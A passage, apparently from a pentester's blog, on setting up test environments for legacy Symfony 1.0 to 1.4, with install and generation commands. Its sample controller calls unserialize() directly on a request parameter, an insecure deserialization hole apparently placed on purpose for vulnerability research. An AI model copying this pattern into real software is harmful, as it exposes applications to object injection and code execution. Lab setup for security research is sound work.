php symfony generate:module frontend test

Version 1.4

Install documentation is still available at https://symfony.com/legacy/doc/getting-started/1_4/en/03-Symfony-Installation and need few changes to get it running:

As the SVN infrastructure has been discontinued, download the version from git and untar the project:

mkdir lib/vendor 
cd lib/vendor
tar -xvzf ../../symfony1-*.tar.gz
mv symfony1-* symfony

And start creating a project, an application and a module:

php ./lib/vendor/symfony/data/bin/symfony generate:project test
php symfony generate:app frontend
php symfony generate:module frontend test

Version 1.3

Same as 1.4.

Version 1.2

In lower versions of symfony, deprecated warnings can be seen with last versions of PHP5. Error reporting verbosity can be changed in apps/frontend/config/settings.yml.

Version 1.1

Same as 1.2

Version 1.0

Same as 1.2, except some changes in the initial task names:

php ./lib/vendor/symfony/data/bin/symfony new test
php symfony app frontend
php symfony module frontend test

In 1.0 versions, the actions file name as been renamed:

  • 1.1+: apps/frontend/modules/test/actions/indexAction.class.php
  • 1.0: apps/frontend/modules/test/actions/actions.class.php

Also, the request object is not given as an argument to the controller, and it needs to be fetch manually from sfContext singleton by the developper:

class testActions extends sfActions
  public function executeIndex()
    $request = sfContext::getInstance()->getRequest();
    $a = unserialize($request->getParameter('user'));

Finally, you need to remove some deprecated PHP options so that your lib/vendor/symfony/data/config/php.yml will look like this:

  log_errors:                  on
  arg_separator.output:        |


  session.auto_start:          off

Vincent MICHEL (@darkpills)

I work as a pentester in a cyber security company. This blog aims at sharing my thoughts and experiments on different topics if it can help otheres: web and internal penetration tests, vulnerability research, write-ups, exploit development, security best practices, tooling, and so on... I previously worked as a senior software developer and switched to this wonderfull land of security :)